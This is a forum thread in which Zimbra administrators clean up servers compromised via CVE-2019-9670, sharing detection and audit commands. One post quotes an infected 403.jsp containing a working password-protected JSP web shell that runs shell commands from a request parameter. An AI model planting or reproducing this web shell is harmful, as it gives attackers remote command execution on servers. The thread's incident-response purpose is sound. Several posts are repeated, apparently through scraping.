CVE-2019-9670 being actively exploited (Hacked Server)
-
- Posts: 3
- Joined: Tue May 28, 2019 12:41 pm
Re: CVE-2019-9670 being actively exploited
crontab can be rebuilt using the following link:
https://wiki.zimbra.com/wiki/Step_to_re ... imbra_user
Thanks to all of you folks who help in this affair.
https://wiki.zimbra.com/wiki/Step_to_re ... imbra_user
Thanks to all of you folks who help in this affair.
-
- Posts: 3
- Joined: Tue May 28, 2019 12:41 pm
Re: CVE-2019-9670 being actively exploited
To find exploited jsp's, I also used these commands:
find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;
find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;
Some legit jsp can be edited to remove the offending code. Some jsp can be completely removed if they contain only offending code.
LlSqsDmOgh is part of the password passed to the "ppwd" parameter in request. But it may vary according to your server
We warned that the second find will find legit JSPs, but you are looking for Runtime.getRuntime().exec there ...
find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;
find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;
Some legit jsp can be edited to remove the offending code. Some jsp can be completely removed if they contain only offending code.
LlSqsDmOgh is part of the password passed to the "ppwd" parameter in request. But it may vary according to your server
We warned that the second find will find legit JSPs, but you are looking for Runtime.getRuntime().exec there ...
Re: CVE-2019-9670 being actively exploited
maxxer wrote:Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?
Yes, apparently the chinese guys takes control of zimbra user, they load a tons of script en /tmp/ and /opt/zimbra/log/ some are hidden or try to maskit with zmswatch. I have a compilation of this scripts if you need it
Re: CVE-2019-9670 being actively exploited
I had problems with re-occuring zmswatch after about 2hours, even after the "cleaing" process and removed the authorized_keys file and also placed a dummy /opt/zimbra/log/zmswatch with rrr and owned by root, changed password for zimbra-user. Has been ok for 4 hours now.jorgemop wrote:maxxer wrote:Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?
Yes, apparently the chinese guys takes control of zimbra user, they load a tons of script en /tmp/ and /opt/zimbra/log/ some are hidden or try to maskit with zmswatch. I have a compilation of this scripts if you need it
Going to make a fresh install asap...
Re: CVE-2019-9670 being actively exploited
Helloerefer@gmail.com wrote:To find exploited jsp's, I also used these commands:
find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;
find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;
Some legit jsp can be edited to remove the offending code. Some jsp can be completely removed if they contain only offending code.
LlSqsDmOgh is part of the password passed to the "ppwd" parameter in request. But it may vary according to your server
We warned that the second find will find legit JSPs, but you are looking for Runtime.getRuntime().exec there ...
my /opt/zimbra/jetty-distribution-9.1.5. v20140505/webapps/service/error/403.jsp has been modified at 22 may and contain
___________________________________________________________________________________________________________________
<!--
* ***** BEGIN LICENSE BLOCK *****
* Zimbra Collaboration Suite Server
* Copyright (C) 2011, 2013, 2014 Zimbra, Inc.
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software Foundation,
* version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along with this program.
* If not, see <http://www.gnu.org/licenses/>.
* ***** END LICENSE BLOCK *****
-->
<%@ page import="com.zimbra.common.util.L10nUtil,com.zimbra.common.util.L10nUtil.MsgKey" %>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/>
<title>Error 403</title>
</HEAD>
<BODY>
<%--
This page can be customized.
--%>
<h2>HTTP ERROR: 403</h2>
<pre>You are not allowed to access this page.</pre>
</BODY>
</HTML>
<%
if ( "9IqLsIrc9sqPpd1ZIB0WWKNQ-HoW_UeU287zodXMw-s" .equals( request.getParameter(
"p"
+ "pwd"
) ) ) { java.io.InputStream YexyzlqLe =
Runtime.getRuntime() .exec (
new String[]
{ "/b" +
"in/sh"
, "-c" ,
request.getParameter( "p" +
"com"
) }
) .getInputStream() ;
int FFpy = -1 ;
byte[] XkODQp =
new byte[ 20 ] ;
out.print( "<p"
+ "re>"
) ;
while( ( FFpy
=
YexyzlqLe.read( XkODQp ) )
!= -1
) { out.print(
new String( XkODQp,
0, FFpy ) ) ;
}
out.print( "<" + "/pre>" ) ; }
%>
________________________________________________________________________________________________________________________________
cant find original file for comparation
say me please, the code after tag </HTML> is infection???
Re: CVE-2019-9670 being actively exploited
I find this:
====
/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
/opt/zimbra/libexec/zmrcd
"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
=======================================================
/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
/opt/zimbra/libexec/zmrcd
"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
===
But I think zmswatchctl and zmswatch are different.
====
/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
/opt/zimbra/libexec/zmrcd
"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
=======================================================
/opt/zimbra/libexec/600.zimbra:if [ -f /opt/zimbra/log/swatch.pid ]; then echo "Restarting zmswatch"; $SU "/opt/zimbra/bin/zmswatchctl reload"; fi
/opt/zimbra/libexec/zmrcd: "start snmp" => "/opt/zimbra/bin/zmswatchctl start",
/opt/zimbra/libexec/zmrcd: "stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
/opt/zimbra/libexec/zmrcd
"start snmp" => "/opt/zimbra/bin/zmswatchctl start",
"start spell" => "/opt/zimbra/bin/zmspellctl start",
"stop mailbox" => "/opt/zimbra/bin/zmstorectl stop",
"stop ldap" => "/opt/zimbra/bin/ldap stop",
"stop mta" => "/opt/zimbra/bin/zmmtactl stop",
"stop antispam" => "/opt/zimbra/bin/zmantispamctl stop",
"stop antivirus" => "/opt/zimbra/bin/zmantivirusctl stop",
"stop snmp" => "/opt/zimbra/bin/zmswatchctl stop",
===
But I think zmswatchctl and zmswatch are different.
Re: CVE-2019-9670 being actively exploited
Yes, you need to remove everything after </HTML>.sony2sony wrote: say me please, the code after tag </HTML> is infection???
Just download the original .tgz and patch .tgz files for the original source.
Re: CVE-2019-9670 being actively exploited
@elby and @sony2sony (and everyone intereseted in finding infected files)
You can check your files against original ones from official .tgz, just extract the jetty part (for 8.6 it's in zcs-NETWORK-8.6.0_GA_1153.RHEL7_64.20141215151204\packages\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.rpm\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.cpio\.\opt\zimbra\jetty-distribution-9.1.5.v20140505\)
I don’t know if it could be a good idea to:
- Zmcontrol stop
- Replace whole jetty folder with extracted from original package
- Apply patch
- Fixperms
Maybe I’ll try this if the infection returns in my servers after cleaning.
Anyway I’m sharing my findings on a couple 8.7 affected installations:
Some infected .java and .class files were inside a jsp folder /opt/zimbra/jetty-distribution-9.3.5.v20151012/work/zimbra/jsp/org/apache/jsp/public_/jsp and it seems they have been there for last 2 months so if you’re restoring from backups be careful.
On 8.7+ if your clamAV is >0.99 you can attempt an internal scan as root against Zimbra / jetty folders and it’ll find some (not all) offending files (adjust paths for your installation):
- First do a DB update
- Then scan:
- Or just
Don’t forget all others steps before and after cleaning (stop+fix cron, kill zmswatch, restart mailbox service, change passwords, cleanup suspicious accounts, etc)
You can check your files against original ones from official .tgz, just extract the jetty part (for 8.6 it's in zcs-NETWORK-8.6.0_GA_1153.RHEL7_64.20141215151204\packages\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.rpm\zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151204.x86_64.cpio\.\opt\zimbra\jetty-distribution-9.1.5.v20140505\)
I don’t know if it could be a good idea to:
- Zmcontrol stop
- Replace whole jetty folder with extracted from original package
- Apply patch
- Fixperms
Maybe I’ll try this if the infection returns in my servers after cleaning.
Anyway I’m sharing my findings on a couple 8.7 affected installations:
Some infected .java and .class files were inside a jsp folder /opt/zimbra/jetty-distribution-9.3.5.v20151012/work/zimbra/jsp/org/apache/jsp/public_/jsp and it seems they have been there for last 2 months so if you’re restoring from backups be careful.
On 8.7+ if your clamAV is >0.99 you can attempt an internal scan as root against Zimbra / jetty folders and it’ll find some (not all) offending files (adjust paths for your installation):
- First do a DB update
Code: Select all
/opt/zimbra/clamav/bin/freshclam --config-file=/opt/zimbra/conf/freshclam.conf
Code: Select all
/opt/zimbra/common/bin/clamscan --database /opt/zimbra/data/clamav/db/ --recursive=yes --tempdir=/tmp --remove=no --scan-archive=no --scan-mail=no --max-filesize=5M --stdout --infected --exclude-dir='/opt/zimbra/store|/opt/zimbra/index' /opt/zimbra/
Code: Select all
/opt/zimbra/common/bin/clamscan --database /opt/zimbra/data/clamav/db/ --recursive=yes --tempdir=/tmp --remove=no --scan-archive=no --scan-mail=no --max-filesize=5M --stdout --infected /opt/zimbra/jetty-distribution-9.3.5.v20151012
Re: CVE-2019-9670 being actively exploited
So ....i think i have some progress.
First thanks to:
erefer@gmail.com for the usefull commands
AB_ZIMBRA for defining me what is the malicious part in 404.jsp file
opsystem for the info about how to get the original files
In my case i did the following:
1. find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;
2. Checking the resulting files and compare them with the original files from the installation source. Then replacing them with originals from the installation source
Some of them but not all were:
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/sfdc_preauth.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/login.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/Ajax.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/public/jsp/Debug.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/CryptCore.jsp
3. The most shitty one was CryptCore.jsp which does not exist in the original sources and contains only malicious code. When i delete it some process recreates it again.
4. Using the following commands i managed to determine the which proccess recreates the file and then killed it.
auditctl -w /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon
rm -rf /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/
tail -f /var/log/audit/audit.log
auditctl -W /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon
5. The shitty process was zmlogswatch
Gonna update my previus post with the new info soon.
First thanks to:
erefer@gmail.com for the usefull commands
AB_ZIMBRA for defining me what is the malicious part in 404.jsp file
opsystem for the info about how to get the original files
In my case i did the following:
1. find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;
2. Checking the resulting files and compare them with the original files from the installation source. Then replacing them with originals from the installation source
Some of them but not all were:
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/error/sfdc_preauth.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/login.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/Ajax.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/public/jsp/Debug.jsp
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/CryptCore.jsp
3. The most shitty one was CryptCore.jsp which does not exist in the original sources and contains only malicious code. When i delete it some process recreates it again.
4. Using the following commands i managed to determine the which proccess recreates the file and then killed it.
auditctl -w /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon
rm -rf /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/
tail -f /var/log/audit/audit.log
auditctl -W /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon
5. The shitty process was zmlogswatch
Gonna update my previus post with the new info soon.
Re: CVE-2019-9670 being actively exploited
How do I extract the original files from the installation source to replace the infected files with them? Under Windows.
Zimbra 8.6.0_GA Network Editions
edit: https://www.altap.cz/salamander/feature ... r-windows/
Zimbra 8.6.0_GA Network Editions
edit: https://www.altap.cz/salamander/feature ... r-windows/
Last edited by elby on Wed May 29, 2019 3:20 pm, edited 1 time in total.